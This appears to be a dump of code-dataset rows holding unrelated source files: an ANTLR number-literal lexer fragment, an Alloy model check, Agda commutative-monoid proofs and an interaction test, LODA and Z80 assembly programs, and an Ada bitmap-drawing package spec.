fragment DIGIT_DEC_WITHOUT_ZERO: [1-9];
fragment DIGIT_DEC: ('0'|DIGIT_DEC_WITHOUT_ZERO);
fragment DIGIT_OCT_WITHOUT_ZERO: [1-7];
fragment DIGIT_OCT: ('0'|DIGIT_HEX_WITHOUT_ZERO);
fragment DIGIT_BIN_WITHOUT_ZERO: [1];
fragment DIGIT_BIN: ('0'|DIGIT_HEX_WITHOUT_ZERO);
// allow: a123, _a123, _123, disallow: 0123, 123, 123_, 1a
ID: (LETTER|UNDERLINE)(LETTER|UNDERLINE|DIGIT_DEC)*;
// allow: 123, disallow: 0123
// NUMBER_DEC_INTEGER_WITHOUT_BIT_LEADER: (DIGIT_DEC_WITHOUT_ZERO)(DIGIT_DEC)*;
fragment NUMBER_HEX_INTEGER_WITHOUT_BIT_LEADER: ((DIGIT_HEX+UNDERLINE*DIGIT_HEX+)|DIGIT_HEX)+;
fragment NUMBER_DEC_INTEGER_WITHOUT_BIT_LEADER: ((DIGIT_DEC+UNDERLINE*DIGIT_DEC+)|DIGIT_DEC)+;
fragment NUMBER_OCT_INTEGER_WITHOUT_BIT_LEADER: ((DIGIT_OCT+UNDERLINE*DIGIT_OCT+)|DIGIT_OCT)+;
fragment NUMBER_BIN_INTEGER_WITHOUT_BIT_LEADER: ((DIGIT_BIN+UNDERLINE*DIGIT_BIN+)|DIGIT_BIN)+;
fragment NUMBER_INTEGER_WITHOUT_BIT_LEADER: (NUMBER_HEX_INTEGER_WITHOUT_BIT_LEADER|NUMBER_DEC_INTEGER_WITHOUT_BIT_LEADER|NUMBER_OCT_INTEGER_WITHOUT_BIT_LEADER|NUMBER_BIN_INTEGER_WITHOUT_BIT_LEADER);
fragment NUMBER_HEX_INTEGER_WITH_BIT_LEADER: NUMBER_HEX_INTEGER_WITHOUT_BIT_LEADER'\''[Hh]NUMBER_HEX_INTEGER_WITHOUT_BIT_LEADER;
fragment NUMBER_DEC_INTEGER_WITH_BIT_LEADER: NUMBER_DEC_INTEGER_WITHOUT_BIT_LEADER'\''[Dd]NUMBER_DEC_INTEGER_WITHOUT_BIT_LEADER;
fragment NUMBER_OCT_INTEGER_WITH_BIT_LEADER: NUMBER_OCT_INTEGER_WITHOUT_BIT_LEADER'\''[Oo]NUMBER_OCT_INTEGER_WITHOUT_BIT_LEADER;
fragment NUMBER_BIN_INTEGER_WITH_BIT_LEADER: NUMBER_BIN_INTEGER_WITHOUT_BIT_LEADER'\''[Bb]NUMBER_BIN_INTEGER_WITHOUT_BIT_LEADER;
fragment NUMBER_INTEGER_WITH_BIT_LEADER: (NUMBER_HEX_INTEGER_WITH_BIT_LEADER|NUMBER_DEC_INTEGER_WITH_BIT_LEADER|NUMBER_OCT_INTEGER_WITH_BIT_LEADER|NUMBER_BIN_INTEGER_WITH_BIT_LEADER);
NUMBER_INTEGER: NUMBER_INTEGER_WITH_BIT_LEADER|NUMBER_INTEGER_WITHOUT_BIT_LEADER;
|
alloy4fun_models/trashltl/models/7/pvKHPjDMyaMfKSYSe.als | Kaixi26/org.alloytools.alloy | 0 | 2402 | open main
pred idpvKHPjDMyaMfKSYSe_prop8 {
always(eventually (File.link) in Trash)
}
pred __repair { idpvKHPjDMyaMfKSYSe_prop8 }
check __repair { idpvKHPjDMyaMfKSYSe_prop8 <=> prop8o } |
Cubical/Algebra/CommMonoid/Properties.agda | FernandoLarrain/cubical | 1 | 9211 | {-# OPTIONS --safe #-}
module Cubical.Algebra.CommMonoid.Properties where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Equiv.HalfAdjoint
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Univalence
open import Cubical.Foundations.Transport
open import Cubical.Foundations.SIP
open import Cubical.Data.Sigma
open import Cubical.Structures.Axioms
open import Cubical.Structures.Auto
open import Cubical.Structures.Macro
open import Cubical.Algebra.Semigroup
open import Cubical.Algebra.Monoid
open import Cubical.Algebra.CommMonoid.Base
private
variable
ℓ : Level
module CommMonoidTheory (M' : CommMonoid ℓ) where
open CommMonoidStr (snd M')
private M = ⟨ M' ⟩
commAssocl : (x y z : M) → x · (y · z) ≡ y · (x · z)
commAssocl x y z = assoc x y z ∙∙ cong (_· z) (comm x y) ∙∙ sym (assoc y x z)
commAssocr : (x y z : M) → x · y · z ≡ x · z · y
commAssocr x y z = sym (assoc x y z) ∙∙ cong (x ·_) (comm y z) ∙∙ assoc x z y
commAssocr2 : (x y z : M) → x · y · z ≡ z · y · x
commAssocr2 x y z = commAssocr _ _ _ ∙∙ cong (_· y) (comm _ _) ∙∙ commAssocr _ _ _
commAssocSwap : (x y z w : M) → (x · y) · (z · w) ≡ (x · z) · (y · w)
commAssocSwap x y z w = assoc (x · y) z w ∙∙ cong (_· w) (commAssocr x y z)
∙∙ sym (assoc (x · z) y w)
|
programs/oeis/231/A231305.asm | neoneye/loda | 22 | 22364 | <filename>programs/oeis/231/A231305.asm
; A231305: Recurrence a(n) = a(n-2) + n^M for M=6, starting with a(0)=0, a(1)=1.
; 0,1,64,730,4160,16355,50816,134004,312960,665445,1312960,2437006,4298944,7263815,11828480,18654440,28605696,42792009,62617920,89837890,126617920,175604011,239997824,323639900,431100800,567780525,740016576,955201014,1221906880,1550024335,1950906880,2437528016,3024648704,3728995985,4569453120,5567261610,6746235456,8132988019,9757171840,11651731780,13853171840,16401836021,19342203584,22723199070,26598517440,31026964695,36072814336,41806180024,48303404800,55647467225,63928404800,73243755026,83699014464,95408116155,108493925760,123088756780,139334905216,157385204029,177403597760,199565737670,224059597760,251086112031,280859833344,313609614240,349579310080,389028504865,432233260096,479486887034,531100742720,587405050115,648749742720,715505334036,788063812224,866839560325,952270302400,1044818075950,1144970230976,1253240456039,1370169831680,1496327911560,1632313831680,1778757448041,1936320503104,2105697821410,2287618534720,2482847337035,2692185769856,2916473538044,3156589856640,3413454829005,3688030856640,3981324081046,4294385857984,4628314264495,4984255639040,5363406155120,5767013428736,6196378160049,6652855809600,7137858309450
lpb $0
mov $2,$0
trn $0,2
pow $2,6
add $1,$2
lpe
mov $0,$1
|
libsrc/_DEVELOPMENT/arch/sms/PSGlib/c/sdcc/PSGSFXPlay_callee.asm | jpoikela/z88dk | 640 | 176309 | <filename>libsrc/_DEVELOPMENT/arch/sms/PSGlib/c/sdcc/PSGSFXPlay_callee.asm
; void PSGSFXPlay(void *sfx,unsigned char channels)
SECTION code_clib
SECTION code_PSGlib
PUBLIC _PSGSFXPlay_callee
EXTERN asm_PSGlib_SFXPlay
_PSGSFXPlay_callee:
pop hl
pop de
dec sp
ex (sp),hl
ld c,h
jp asm_PSGlib_SFXPlay
|
test/interaction/Issue2654.agda | cruhland/agda | 1,989 | 8391 | <reponame>cruhland/agda<gh_stars>1000+
-- Andreas, 2017-07-24, issue #2654 reported by rntz
-- When splitting projections in an extended lambda,
-- we have to print them postfix, regardless of whether
-- the user chose --postfix-projections or not.
-- {-# OPTIONS --postfix-projections #-}
-- {-# OPTIONS -v interaction.case:60 #-}
open import Common.Product
dup : ∀{A : Set} (a : A) → A × A
dup = λ { x → {!!} } -- C-c C-c RET
-- Expected result after result splitting:
-- dup = λ { x .proj₁ → {!!} ; x .proj₂ → {!!} }
|
middleware/src/bitmap/soft_drawing_bitmap.ads | Kidev/Ada_Drivers_Library | 0 | 14253 | <reponame>Kidev/Ada_Drivers_Library<gh_stars>0
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2017, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- This package provides a software implementation of the HAL.Bitmap drawing
-- primitives.
with HAL; use HAL;
with HAL.Bitmap; use HAL.Bitmap;
package Soft_Drawing_Bitmap is
subtype Parent is Bitmap_Buffer;
type Soft_Drawing_Bitmap_Buffer is abstract new Parent with null record;
type Any_Soft_Drawing_Bitmap_Buffer is
access all Soft_Drawing_Bitmap_Buffer'Class;
overriding
procedure Set_Source (Buffer : in out Soft_Drawing_Bitmap_Buffer;
ARGB : Bitmap_Color);
overriding
function Source
(Buffer : Soft_Drawing_Bitmap_Buffer)
return Bitmap_Color;
function ToPoint(Buffer : Soft_Drawing_Bitmap_Buffer'Class; X, Y : Integer) return Point
is (((if X < 0 then Buffer.Width else X), (if Y < 0 then Buffer.Height else Y)));
overriding
procedure Set_Pixel
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Pt : Point;
Color : Bitmap_Color);
overriding
procedure Set_Pixel
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Pt : Point;
Native : UInt32);
overriding
function Pixel
(Buffer : Soft_Drawing_Bitmap_Buffer;
Pt : Point)
return Bitmap_Color;
overriding
procedure Draw_Line
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Start, Stop : Point;
Thickness : Natural := 1;
Fast : Boolean := True);
overriding
procedure Fill
(Buffer : in out Soft_Drawing_Bitmap_Buffer);
-- Fill the entire buffer with the source color
overriding
procedure Fill_Rect
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Area : Rect);
-- Fill the specified area of the buffer with the source color
overriding
procedure Copy_Rect
(Src_Buffer : Bitmap_Buffer'Class;
Src_Pt : Point;
Dst_Buffer : in out Soft_Drawing_Bitmap_Buffer;
Dst_Pt : Point;
Bg_Buffer : Bitmap_Buffer'Class;
Bg_Pt : Point;
Width : Natural;
Height : Natural;
Synchronous : Boolean);
overriding
procedure Copy_Rect
(Src_Buffer : Bitmap_Buffer'Class;
Src_Pt : Point;
Dst_Buffer : in out Soft_Drawing_Bitmap_Buffer;
Dst_Pt : Point;
Width : Natural;
Height : Natural;
Synchronous : Boolean);
overriding
procedure Copy_Rect_Blend
(Src_Buffer : Soft_Drawing_Bitmap_Buffer;
Src_Pt : Point;
Dst_Buffer : in out Bitmap_Buffer'Class;
Dst_Pt : Point;
Width : Natural;
Height : Natural;
Synchronous : Boolean);
overriding
procedure Draw_Vertical_Line
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Pt : Point;
Height : Integer);
overriding
procedure Draw_Horizontal_Line
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Pt : Point;
Width : Integer);
overriding
procedure Draw_Rect
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Area : Rect;
Thickness : Natural := 1);
-- Draws a rectangle
overriding
procedure Draw_Rounded_Rect
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Area : Rect;
Radius : Natural;
Thickness : Natural := 1);
overriding
procedure Fill_Rounded_Rect
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Area : Rect;
Radius : Natural);
overriding
procedure Draw_Circle
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Center : Point;
Radius : Natural);
overriding
procedure Fill_Circle
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
Center : Point;
Radius : Natural);
overriding
procedure Cubic_Bezier
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
P1, P2, P3, P4 : Point;
N : Positive := 20;
Thickness : Natural := 1);
overriding
procedure Bezier
(Buffer : in out Soft_Drawing_Bitmap_Buffer;
InputPoints : PointsArr;
N : Positive := 20;
Thickness : Natural := 1);
private
type NaturalArr is array (Natural range <>) of Natural;
procedure Cubic_Bezier_Points
(P1, P2, P3, P4 : Point;
N : Positive;
Points : in out PointsArr);
procedure Bezier_Points
(InputPoints : PointsArr;
N : Positive;
Points : in out PointsArr);
procedure Binomial_Coefficients
(Outputs : in out NaturalArr);
end Soft_Drawing_Bitmap;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.